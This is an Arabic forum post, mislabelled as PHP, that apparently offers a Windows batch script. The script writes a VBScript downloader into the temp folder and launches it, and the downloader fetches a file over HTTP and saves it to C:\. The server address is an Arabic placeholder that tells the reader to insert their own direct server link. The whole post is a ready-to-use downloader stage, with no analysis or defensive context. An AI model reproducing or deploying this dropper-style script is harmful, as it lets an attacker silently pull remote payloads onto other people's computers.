كود PHP:
@echo off
set file="هااااااااااان حط رابط سيرفرك المباشر"
set dlto="C:\"
::----------------
if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs
echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs
start %temp%\dl.vbs